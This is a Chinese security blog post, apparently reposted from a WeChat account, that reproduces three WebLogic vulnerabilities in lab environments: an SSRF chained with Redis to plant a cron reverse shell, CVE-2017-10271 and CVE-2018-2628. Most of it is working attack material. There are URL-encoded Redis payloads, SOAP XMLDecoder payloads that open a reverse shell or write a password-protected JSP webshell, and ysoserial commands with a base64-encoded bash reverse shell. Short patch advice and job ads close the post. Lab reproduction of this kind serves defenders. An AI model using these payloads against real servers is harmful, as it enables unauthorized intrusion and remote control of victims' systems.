基于Weblogic的一系列漏洞复现总结(一)

admin 2022年2月15日19:53:15评论138 views字数 9171阅读30分34秒阅读模式


STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0

复现过程

启用vulhub漏洞环境

SSRF漏洞测试

访问http://192.168.14.128:7001/uddiexplorer/,无需登录即可查看uddiexplorer

应用。SSRF漏洞存在于:

http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp,在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001:

http://192.168.14.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
基于Weblogic的一系列漏洞复现总结(一)

主要是通过operator这个参数来判断端口是否开放,例如访问开放的7001端口时页面会返回一个404。

基于Weblogic的一系列漏洞复现总结(一)

当访问一个不存在的端口时,例如8888,则会回显如下内容。可通过错误的不同来探测内网状态。

基于Weblogic的一系列漏洞复现总结(一)

如果访问的非http协议,则会返回did not have a valid SOAP content-type。

注入HTTP头,利用Redis反弹shell

(1)Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
(2)通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)。Setup UDDI Explorer这个页面泄露了内网的网段,可以用burpsuite或者脚本来探测。这里由于是在本机上搭建的漏洞环境,因此显示的是localhost。实战中则会泄露真实内网IP。

基于Weblogic的一系列漏洞复现总结(一)

redis默认开放的端口为6379,发现172.19.0.2:6379可以连通:

基于Weblogic的一系列漏洞复现总结(一)

(3)发送三条redis命令,将反弹shell脚本写入/etc/crontab:

set 1 "nnnn* * * * * root bash -i >& /dev/tcp/192.168.14.130/8899 0>&1nnnn"config set dir /etc/config set dbfilename crontabsave

URL编码,绕过拦截。

%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%34%2e%31%33%30%2f%38%38%39%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65

换行符是“rn”,也就是“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送:

http://172.19.0.2:6379/test%0D%0A%0D%0A%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%34%2e%31%33%30%2f%38%38%39%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65 HTTP/1.1
基于Weblogic的一系列漏洞复现总结(一)

(4)开启监听端口,反弹shell成功

基于Weblogic的一系列漏洞复现总结(一)

(5)可进行利用的cron有如下几个地方:
1./etc/crontab 这个是肯定的
2./etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
3./var/spool/cron/root ----centos系统下root用户的cron文件
4./var/spool/cron/crontabs/root ----debian系统下root用户的cron文件


漏洞描述


Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

复现过程

这里启用vulhub漏洞环境

反弹shell

(1)访问

http://10.10.10.130:7001/wls-wsat/CoordinatorPortType,burpsuite拦截数据包,以post方法发送如下poc。将listen_IP和port修改为监听地址和端口即可。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/listen_IP/port 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
基于Weblogic的一系列漏洞复现总结(一)

(2)在发包前开启监听,成功反弹shell

nc -lvnp 8899
基于Weblogic的一系列漏洞复现总结(一)

写入webshell

(1)访问http://10.10.10.130:7001/wls-wsat/CoordinatorPortType,burpsuite拦截数据包,以post方法发送poc。这里我上传的是带有密码回显的jsp一句话。注:上传的木马内容所在位置:<![CDATA["木马内容"]]>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cmd.jsp</string><void method="println"><string><![CDATA[<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
基于Weblogic的一系列漏洞复现总结(一)

(2)访问http://10.10.10.130:7001/bea_wls_internal/cmd.jsp,命令执行

http://10.10.10.130:7001/bea_wls_internal/cmd.jsp?pwd=123&cmd=cat /etc/passwd
基于Weblogic的一系列漏洞复现总结(一)

修复建议

(1)下载Oracle推送补丁,下载地址如下

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html;
(2)根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

漏洞描述


weblogic_WLS-Core_Components反序列化命令执行漏洞(CVE-2018-2628)

该漏洞通过T3协议触发,可导致未授权的用户在远程执行任意命令。

影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3(项目列表)

复现过程

攻击IP:10.10.10.130
靶机IP:10.10.10.130:7001
洞利用工具包:https://github.com/Lighird/CVE-2018-2628

(1)启动vulhub漏洞环境。
(2)利用nmap检测目标资产,发现开放T3协议及WebLogic版本信息。

nmap -p 7001,7002 -v -n --script weblogic-t3-info 10.10.10.130


基于Weblogic的一系列漏洞复现总结(一)

(3)利用CVE-2018-2628检测工具检测出目标存在漏洞

基于Weblogic的一系列漏洞复现总结(一)

(4)在攻击机上启动JRMP Server,使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]# [listen port] : JRMP Server监听的端口# [command] : 需要执行的命令

(5)执行反弹shell命令

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/10.10.10.130/8899 0>&1'

由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,因此需要进行一次编码。

PS:Runtime.getRuntime().exec 用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池,编码后的命令如下:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMzAvODg5OSAwPiYx}|{base64,-d}|{bash,-i}'
基于Weblogic的一系列漏洞复现总结(一)

编码转换工具:https://www.jackson-t.ca/runtime-exec-payloads.html

(6)攻击机上新打开一个终端,执行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 10.10.10.130:8888 | xxd -p | tr -d $'n' && echo
基于Weblogic的一系列漏洞复现总结(一)

(7)复制以上输出结果,替换weblogic_poc.py 中的PYLOAD,并将dip参数改为目标IP

基于Weblogic的一系列漏洞复现总结(一)
基于Weblogic的一系列漏洞复现总结(一)

(8)攻击机上新开一个终端窗口,利用nc监听8899端口,再开一个终端窗口运行weblogic_poc.py,即可反弹shell

python weblogic_poc.py
基于Weblogic的一系列漏洞复现总结(一)

修复建议

(1)安装官方补丁:

https://www.oracle.com/security-alerts/cpujul2020.html
(2)限制T3访问来源。漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
(3)禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html


征稿通知

知识应该被分享,安全更需携手共进

征稿持续进行中!愿意分享知识经验的小伙伴们可以把自己的知识沉淀稿件投稿至微信:

基于Weblogic的一系列漏洞复现总结(一)

稿件一经发布将有丰厚的稿费!




RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。


简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至

[email protected]

岗位:红队攻防(正式/实习)

工作地点:杭州/上海
【职位亮点】
1.种类丰富的内部红蓝对抗工具;

2.安全大牛作为技术后盾,带你提升实战攻防能力;
3.参与战略级红蓝对抗项目 (部级、省级、重点行业 等)。

【岗位要求】
1.具备红蓝对抗项目实战经验;

2.具备一定的编程能力,至少掌握一门语言 (C#/C++、Go、Java、Python 等) 

3.外网打点/内网横向/域渗透/远控免杀/社工钓鱼/隐蔽持久化 等一个或多个领域有深入的理解;
4.具备良好的沟通和团队协作能力、责任心强、热爱技术、愿意分享;

【加分项】
1.实战型开源项目者优先;
2.具备丰富的实战经验,大型HW经验优先;
3:个人技术博客、优质社区投稿过文章者优先;

简历投递至

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)


岗位:安全研究(正式/实习)

工作地点:杭州/上海
【职位亮点】

1.漏洞挖掘与研究的时间自由;

2.探索前沿的攻防技术,并在实战中进行实践验证;

3.参与红蓝对抗等高端项目,丰富个人实战攻防经验;

4.与安全大牛一起打造武器化工具落地,赋能一线人员.


【岗位要求】
1.拥有大型产品、CMS、厂商漏洞挖掘案例;

2.具备出色的编程能力,熟练掌握一门语言 (C#/C++、Go、Java、Python 等) 

3.深入了解漏洞原理,能够独立挖掘/分析包括但不限于PHP/JAVA/.NET/ASP等大中型应用漏洞;
4.对安全有浓厚兴趣和较强的独立钻研能力,有良好的团队精神、愿意分享;

【加分项】
1.开发过安全相关的开源项目者优先;
2.个人技术博客、优质社区投稿过文章者优先;
3:提交过高质量的CVE、具备0day挖掘能力者优先;

简历投递至

anonysec.zhang#dbappsecurity.com.cn (杭州)

ethan.hong#dbappsecurity.com.cn (上海)

微信投递至

AnonySec (杭州)

a0011221100 (上海)




END

基于Weblogic的一系列漏洞复现总结(一)
基于Weblogic的一系列漏洞复现总结(一)
基于Weblogic的一系列漏洞复现总结(一)

长按识别二维码关注我们


原文始发于微信公众号(雷神众测):基于Weblogic的一系列漏洞复现总结(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月15日19:53:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于Weblogic的一系列漏洞复现总结(一)http://cn-sec.com/archives/779320.html

发表评论

匿名网友 填写信息